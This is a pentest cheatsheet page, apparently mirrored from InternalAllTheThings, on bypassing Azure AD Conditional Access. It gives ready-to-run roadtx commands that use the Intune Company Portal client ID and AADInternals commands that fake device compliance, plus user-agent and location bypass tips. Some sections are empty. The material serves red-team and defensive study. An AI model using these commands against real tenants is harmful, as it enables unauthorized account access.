repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
azure-ad-conditional-access-policy.mdMarkdown103 lines5.7 KiBsource raw download

title: "Azure AD - Conditional Access Policy" section: "Cloud" sectionSlug: "cloud" sourcePath: "docs/cloud/azure/azure-ad-conditional-access-policy.md" sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/cloud/azure/azure-ad-conditional-access-policy.md" sha: "203bb0c0b290" isIndex: false#

Azure AD - Conditional Access Policy#

Conditional Access is used to restrict access to resources to compliant devices only.

Enumerate Conditional Access Policies#

CAP Bypass
Location / IP ranges Corporate VPN, Guest Wifi
Platform requirement User-Agent switcher (Android, PS4, Linux, ...)
Protocol requirement Use another protocol (e.g for e-mail acccess: POP, IMAP, SMTP)
Azure AD Joined Device Try to join a VM (Work Access)
Compliant Device (Intune) Fake device compliance
Device requirement /
MFA /
Legacy Protocols /
Domain Joined /
python3 CAPSlock.py analyze -u <userprincipalname> --resource <resource-id> [options]
python3 CAPSlock.py what-if -u <userprincipalname> --resource <resource-id> [options]
python3 CAPSlock.py web-gui --port 8080

Bypassing CAP by faking device compliance#

Intune Company Portal Client ID Bypass#

Use Intune Company Portal Client ID (9ba1a5c7-f17a-4de9-a1f1-6178c8d51223), to run roadrecon even when there is a device compliance policy. it is a hardcoded and undocumented exclusion in Conditional Access for device compliance and has the user_impersonation rights on the AAD Graph.

roadtx gettokens -u $username -p $password -r msgraph -ua $windows_ua -c 9ba1a5c7-f17a-4de9-a1f1-6178c8d51223 # limite scope
roadtx gettokens -u $username -p $password -r aadgraph -ua $windows_ua -c 9ba1a5c7-f17a-4de9-a1f1-6178c8d51223 # user_impersonation scope

AAD Internals - Making your device compliant#

# Get an access token for AAD join and save to cache
Get-AADIntAccessTokenForAADJoin -SaveToCache

# Join the device to Azure AD
Join-AADIntDeviceToAzureAD -DeviceName "SixByFour" -DeviceType "Commodore" -OSVersion "C64"

# Marking device compliant - option 1: Registering device to Intune
# Get an access token for Intune MDM and save to cache (prompts for credentials)
Get-AADIntAccessTokenForIntuneMDM -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -SaveToCache 

# Join the device to Intune
Join-AADIntDeviceToIntune -DeviceName "SixByFour"

# Start the call back
Start-AADIntDeviceIntuneCallback -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7-MDM.pfx -DeviceName "SixByFour"

Bypassing CAP with device.trustType#

The trustType property is an internal attribute that defines the relationship between the device and Azure AD. When the condition of CAP is device.trustType -eq "<TYPE>", the values can be:

Bypassing CAP with user agent#

There are several devices you can use to authenticate and interact with a service. Try several User-Agent to get access to the resources:

Bypassing CAP with location#

Try different IP locations using a VPN.

References#